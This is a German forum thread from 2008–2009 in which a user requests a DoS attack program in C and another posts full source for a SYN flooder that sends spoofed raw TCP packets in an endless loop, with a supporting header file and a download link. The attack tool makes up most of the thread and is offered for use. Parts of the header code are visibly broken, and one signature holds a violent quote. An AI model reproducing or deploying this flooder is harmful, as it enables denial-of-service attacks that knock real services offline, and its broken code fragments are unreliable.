PHP Forum - Coding Board
April 20, 2018, 01:22:22 *
Willkommen Gast. Bitte einloggen oder registrieren.

Einloggen mit Benutzername, Passwort und Sitzungslänge
News:
 
   Übersicht   Hilfe Suche Einloggen Registrieren  
Seiten: [1]
  Drucken  
Autor Thema: DoS - Angriffsprogramm  (Gelesen 680 mal)
0 Mitglieder und 1 Gast betrachten dieses Thema.
Prometheus
Newbie
*
Beiträge: 11


Profil anzeigen WWW E-Mail
« am: November 07, 2008, 01:56:48 »

Hi

Wer w?re intressiert ein Programm f?r eine DoS - Attacke zu schreiben?!

Die Programmiersprache w?re C.

Dieses Programm sollte legendlich Informations-, Lehr- und Dokumentationszwecken dienen.

MFG, Prometheus
Gespeichert
Hamtaro
Newbie
*
Beiträge: 19


Profil anzeigen E-Mail
« Antworten #1 am: November 07, 2008, 02:52:55 »

look at this: http://www.sys-flaw.com/sysflaw/viewtopic.php?p=4446
Gespeichert
Prometheus
Newbie
*
Beiträge: 11


Profil anzeigen WWW E-Mail
« Antworten #2 am: November 07, 2008, 03:57:25 »

Danke f?r den Link der wird mir (uns) sicherlich behilflich sein. Smiley
Gespeichert
Kybernetik
Jr. Member
**
Beiträge: 70

484090778
Profil anzeigen WWW E-Mail
« Antworten #3 am: Juni 24, 2009, 03:18:45 »

Gespeichert
Paran0id
Hero Member
*****
Beiträge: 662


473716 Paran0id@FBI.gov
Profil anzeigen WWW E-Mail
« Antworten #4 am: Juni 24, 2009, 03:26:49 »

syn_flood.c:

Code:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <time.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#include &quot;raw_nw.h&quot;

#define FLOOD_DELAY 5000

/*
 *  Syn-Flooder
 *     -- written by rip_#1
 *
 *  Lizens: BSD ( k.A. warum ich das angebe, ist ne macke von mir :D )
 *  [ also macht mit dem Source was ihr wollt ]
 *  
 *  Was ist ein Syn-Flood?
 *     Siehe dazu: http://de.wikipedia.org/wiki/SYN-Flood und
 *                       http://www.faqs.org/rfcs/rfc4987.html
 *
 *
 *   Was man wissen sollte:
 *          Aufbau von IP/TCP
 *          ISO / OSI Schichten Modell
 *          Grundlagen in Socket Programmierung in C
 */



void build_syn( u_char *, u_long, u_short , struct sockaddr_in *);

int main( int argc, char *argv[]) {

   
   int sock;                 /* Unser Socket         */
   struct hostent *host;     /* HOst informationen   */
   struct in_addr *dest_ip;  /* Target Ip            */
   unsigned long dest_port;  /* target Port          */
   
   int one = 1,                     /* wird zum setzen der setsockopt benötigt */
       packet_size = IP_TCP_LENGTH; /* Die Größe underes Packetes ist die Größe des Ip Headers + Die
                      * Größe des TCP-Headers
                 * Wir brauchen keine Daten, wir wollen ja nur ein SYN an den
                 * Host schicken
                                          */

   unsigned char packet[IP_TCP_LENGTH]; /* das Packet */


   if ( argc < 3 ) {
      printf(&quot;Usage: %s <target> <port>\n&quot;, argv[0]);
      exit (-1);
   }


   /* wir holen uns die Ip... */  
   if( (host = gethostbyname(argv[1]) ) == NULL )
      puts(&quot;[ERROR] in gethostbyname ( existiert der Host überhaupt? )&quot;);

   
   /* Wen sollen wir flooden? */
   dest_ip = (struct in_addr *) (host->h_addr);

   /* Welcher Port? */
   dest_port = (u_short) atoi( argv[2] );
   
   /* Wir erstellen uns einen RAW-SOCKET, wir können jetzt den IP und TCP header verändern,
         * also habne wir alles  ab IP in unserer Hand.
    * Wichtig: Man kann Raw Sockets NUR mit root-rechten erstellen
         */
   if( (sock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1 )
      puts(&quot;[ERROR] in socket ( r u root ? )&quot;);
     

   /* wir setzen die Optionen,
         * Protokol: Ip (IPPROTO_IP),
    * Und damit wir den IP-Header verändern können:
    * Arg. 3: IP_HDRINCL ( steht wohl für &quot;IP Header Include&quot;
         */
   if( setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) == -1 ) {
       puts(&quot;[ERROR] in setsockopt&quot;);
      exit (1);
   }

   printf(&quot;[*] SYN Flooding Port %s von %s\n&quot;, argv[2], inet_ntoa(*dest_ip) );

   
   /* Startwert für (Pseudo-) Zufallsgenerator erstellen,
         * wir wollen ja gewiise Sachen wie Source Port, source IP &quot;zufällig&quot; wählen
         */
   srand(time(0));

   while ( 1 ) { /* hier fängt das eigentliche SYN-Flooding an... ( Schleife endet nie ) */

      struct sockaddr_in addr;

      /* wir erstellen ein Syn-Paket, für genaueres bitte runterscrollen ;) */
      build_syn( packet, dest_ip->s_addr, dest_port, &addr );
         
      /* ...und senden!, eine Überprüfung auf Erfolg sparen wir uns
                 *   ( bei meinen Tests trat so alle 150 Pakete ein Fehler auf, diese sind aber nicht weiter
       *     wichtig, da wir ja sowieso keine wirkliche Verbindung aufbauen wollen ;) )
                 *   Wer trotzdem prüfen will: sendto gibt bei einem Fehler -1 zurück.
                 */  
                 sendto(sock, packet, packet_size, 0, (struct sockaddr*)&addr, sizeof(struct sockaddr_in));
         
      usleep(FLOOD_DELAY);
   }

   /* den Socket schließen */
   close(sock);

   

   return 0;
}






/* Zu den Strukturen siehe raw_nw.h */
void build_syn( u_char *packet , u_long dest_ip, u_short dest_port, struct sockaddr_in *addr) {
   
   
   struct ipv4_hdr ip_hdr;

   ip_hdr.ip_v     = 4;                                                     /* Wir benutzen IPv4                          */
   ip_hdr.ip_hl    = 5;                                                     /* Der Header ist 20 Byte groß                */
   ip_hdr.ip_tos   = IPTOS_LOWDELAY;                                        /* IP tos                                     */
   ip_hdr.ip_len   = htons( IP_TCP_LENGTH );                                /* Die Länge unseres Paketes                  */
   ip_hdr.ip_id    = htons(get_prand( PRu16 ) );                     /* IP ID ( zufällig )                         */
   ip_hdr.ip_off   = htons(0);                                              /* fragmentations Flags                       */
   ip_hdr.ip_ttl   = get_prand( PR8 );                                      /* Time To Live ( zufällig )                  */
   ip_hdr.ip_p     = IPPROTO_TCP;                                           /* Das Protokoll ( TCP )                      */
   ip_hdr.ip_sum   = 0;                                                     /* wenn null, kümmert sich der Kernel darum.  */
   ip_hdr.ip_src.s_addr = get_prand(PRu16);                                 /* Src Address ( zufällig )                   */
   ip_hdr.ip_dst.s_addr = dest_ip;                                          /* Target Addresse                            */


   /* IP header ind das Paket kopieren */      
   memcpy((u_char*) packet, (u_char *) &ip_hdr, sizeof(ip_hdr));



   struct tcp_hdr tcp_hdr;

   tcp_hdr.th_sport      = htons( get_prand(PRu16) );                        /* Src Port ( tufällig )               */
   tcp_hdr.th_dport      = htons( dest_port );                               /* Target Port                         */
   tcp_hdr.th_seq        = get_prand( PRu32 );                               /* Sequence Nummer ( zufällig          */
   tcp_hdr.th_ack        = get_prand( PRu32 );                               /* acknowledgement Nummer ( zufällig ) */

        /*****************************************************************************************************************/
   /*            Wir machen ja einen Syn-Flood :D also schicken wir nur SYNs                                        */
   tcp_hdr.th_flags      = TH_SYN;                                           /* Kontroll Flag ( nur SYN )           */


   tcp_hdr.th_x2         = 0;                                                /* Nicht benutzt                       */
   tcp_hdr.th_off        = 5;                                                /* 20 Byte Header                      */
   tcp_hdr.th_win        = htons( PRu16 );                                   /* Window Size ( zufällig )            */
   tcp_hdr.th_sum        = 0;                                                /* Prüfsumme wird später gesetzt  */
   tcp_hdr.th_urp        = 0;                                                /* Urgent Pointer                      */


   /* TCP-Header in das Paket kopieren */
   memcpy((u_char *) (packet + IP_HEADER), (u_char *)&tcp_hdr, sizeof(tcp_hdr) );

   
   addr->sin_family = AF_INET;
   addr->sin_port = tcp_hdr.th_sport;
   addr->sin_addr.s_addr = ip_hdr.ip_src.s_addr;
}


raw_nw.c:

Code:
#ifndef RAW_NW_H
#define RAW_NW_H

#include

/* Der IP und TCP header sind jeweils 20 Byte groß */
#define IP_HEADER 0x14
#define TCP_HEADER 0x14

/* Unser Paket ist also 40 Bytes groß */
#define IP_TCP_LENGTH TCP_HEADER + IP_HEADER



/********************************************************************************************************\
   Header
   ( Ja, ich weiß man könnte die einfach includen, aber ich finde,
     dass wenn man sie direkt vor sich sieht, man mehr lernt,
     und sich auch mal den betreffenden RFC ankuckt                 )
\*********************************************************************************************************/

/*****************************************************************************************\

     Der IPv4-Header:

       0                   1                   2                   3  
          0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
          |Version|  IHL  |Type of Service|          Total Length         |
          +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
          |         Identification        |Flags|      Fragment Offset    |
          +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
          |  Time to Live |    Protocol   |         Header Checksum       |
          +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
          |                       Source Address                          |
          +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
          |                    Destination Address                        |
          +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
          |                    Options                    |    Padding    |
          +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

   
     RFC 791  ( http://www.faqs.org/rfcs/rfc791.html )
\******************************************************************************************/

struct ipv4_hdr
{
#if __BYTE_ORDER == __LITTLE_ENDIAN
    u_int8_t ip_hl:4,      /* header length */
           ip_v:4;         /* version */
#elif __BYTE_ORDEr == __BIG_ENDIAN
    u_int8_t ip_v:4,       /* version */
           ip_hl:4;        /* header length */
#else
    #error "Fix #endif
    u_int8_t ip_tos;       /* type of service */
#ifndef IPTOS_LOWDELAY
#define IPTOS_LOWDELAY      0x10
#endif
#ifndef IPTOS_THROUGHPUT
#define IPTOS_THROUGHPUT    0x08
#endif
#ifndef IPTOS_RELIABILITY
#define IPTOS_RELIABILITY   0x04
#endif
#ifndef IPTOS_LOWCOST
#define IPTOS_LOWCOST       0x02
#endif
    u_int16_t ip_len;         /* total length */
    u_int16_t ip_id;          /* identification */
    u_int16_t ip_off;
#ifndef IP_RF
#define IP_RF 0x8000        /* reserved fragment flag */
#endif
#ifndef IP_DF
#define IP_DF 0x4000        /* dont fragment flag */
#endif
#ifndef IP_MF
#define IP_MF 0x2000        /* more fragments flag */
#endif
#ifndef IP_OFFMASK
#define IP_OFFMASK 0x1fff   /* mask for fragmenting bits */
#endif
    u_int8_t ip_ttl;          /* time to live */
    u_int8_t ip_p;            /* protocol */
    u_int16_t ip_sum;         /* checksum */
    struct in_addr ip_src, ip_dst; /* source and dest address */
};



/********************************************************************************************************\

    Der TCP Header:

      0                   1                   2                   3  
                0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
               |          Source Port          |       Destination Port        |
               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
               |                        Sequence Number                        |
               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
               |                    Acknowledgment Number                      |
               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
               |  Data |           |U|A|P|R|S|F|                               |
               | Offset| Reserved  |R|C|S|S|Y|I|            Window             |
               |       |           |G|K|H|T|N|N|                               |
               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
               |           Checksum            |         Urgent Pointer        |
               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
               |                    Options                    |    Padding    |
               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
               |                             data                              |
               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

      RFC 793 ( http://www.faqs.org/rfcs/rfc793.html )
\********************************************************************************************************/



struct tcp_hdr
{
    u_int16_t th_sport;       /* source port */
    u_int16_t th_dport;       /* destination port */
    u_int32_t th_seq;          /* sequence number */
    u_int32_t th_ack;          /* acknowledgement number */
#if __BYTE_ORDER == __LITTLE_ENDIAN
    u_int8_t th_x2:4,         /* (unused) */
           th_off:4;        /* data offset */
#elif __BYTE_ORDER == __BIG_ENDIAN
    u_int8_t th_off:4,        /* data offset */
           th_x2:4;         /* (unused) */
#else
    #error "Pls fix "
#endif
    u_int8_t  th_flags;       /* control flags */
#ifndef TH_FIN
#define TH_FIN    0x01      /* finished send data */
#endif
#ifndef TH_SYN
#define TH_SYN    0x02      /* synchronize sequence numbers */
#endif
#ifndef TH_RST
#define TH_RST    0x04      /* reset the connection */
#endif
#ifndef TH_PUSH
#define TH_PUSH   0x08      /* push data to the app layer */
#endif
#ifndef TH_ACK
#define TH_ACK    0x10      /* acknowledge */
#endif
#ifndef TH_URG
#define TH_URG    0x20      /* urgent! */
#endif
#ifndef TH_ECE
#define TH_ECE    0x40
#endif
#ifndef TH_CWR  
#define TH_CWR    0x80
#endif
    u_int16_t th_win;         /* window */
    u_int16_t th_sum;         /* checksum */
    u_int16_t th_urp;         /* urgent pointer */
};



/***************************************************************************************\
   Zur "zufälligen" Erzeugung von Zahlen
\***************************************************************************************/
#define PR2 1
#define PR8 255
#define PR16 32767
#define PRu16 65535
#define PR32 2147483647
#define PRu32 4294967295
u_int32_t get_prand(unsigned int mod) {
   return ( (((u_int32_t) rand()) % mod ) + 1 );
}




#endif /* RAW_NW_H */


Download: http://ul.to/cx3dsw


Gespeichert

Sie gehen auf ihren kommandierenden
Offizier zu, setzen ihm die Waffe an
den Kopf und blasen ihm das Gehirn raus.
Kybernetik
Jr. Member
**
Beiträge: 70

484090778
Profil anzeigen WWW E-Mail
« Antworten #5 am: Juni 24, 2009, 04:29:12 »

Danke Para Smiley
schneller als die Polizei es erlaubt..
Gespeichert
Zacherl
Entwickler Team
Moderator
Sr. Member
****
Beiträge: 454



Profil anzeigen E-Mail
« Antworten #6 am: Juni 24, 2009, 05:01:10 »

Gespeichert

Dr.ChAoS
Nasenflöter
Newbie
*
Beiträge: 38

359803365
Profil anzeigen E-Mail
« Antworten #7 am: Juni 25, 2009, 02:31:25 »

Zitat von: Zacherl;19612
ROOT Rechte werden benötigt, steht da. Sind damit Debug Privilegien oder SYSTEM Benutzerrechte gemeint? Dachte immer, dass ab XP SP2 gar kein Zugriff auf die RAW Sockets mehr möglich ist, ohne einen Treiber zu schreiben.

Der Sourcecode ist auch für Linux Systeme, für Windows bräuchte man andere Bibliotheken.
MfG

Dr.ChAoS

//Edit: Ah es ist schon spät (oder früh?), ich meinte dass ich an den Bibliotheken erkannt habe dass es für Linux Systeme ist.
//Edit2: Ach die Server Zeit ist ja falsch eingestellt, bei mir ist es 3:38 Uhr.
« Letzte Änderung: Juni 26, 2009, 12:32:57 von Dr.ChAoS » Gespeichert


Klicke auf Das Bild um auch in meine SigiBox zu schreiben.
Jabber: dr.chaos@jabber.org - Nutzt Jabber!
Zitat von: GanonTC;21735
Man stirbt nicht von heute auf morgen.
Yakuza112
Newbie
*
Beiträge: 33


372971901
Profil anzeigen WWW E-Mail
« Antworten #8 am: Juni 25, 2009, 04:03:26 »

Zitat
ARCHIV

edit .. oO gerade gesehen das der Source schon gepostet wurde.. sry
Gespeichert



Zacherl
Entwickler Team
Moderator
Sr. Member
****
Beiträge: 454



Profil anzeigen E-Mail
« Antworten #9 am: Juni 25, 2009, 08:36:16 »

Zitat von: Dr.ChAoS;19790
Gespeichert

Seiten: [1]
  Drucken  
 
Gehe zu:  

Powered by MySQL Powered by PHP Powered by SMF 1.1.21 | SMF © 2006-2009, Simple Machines | New Look by Nolt Prüfe XHTML 1.0 Prüfe CSS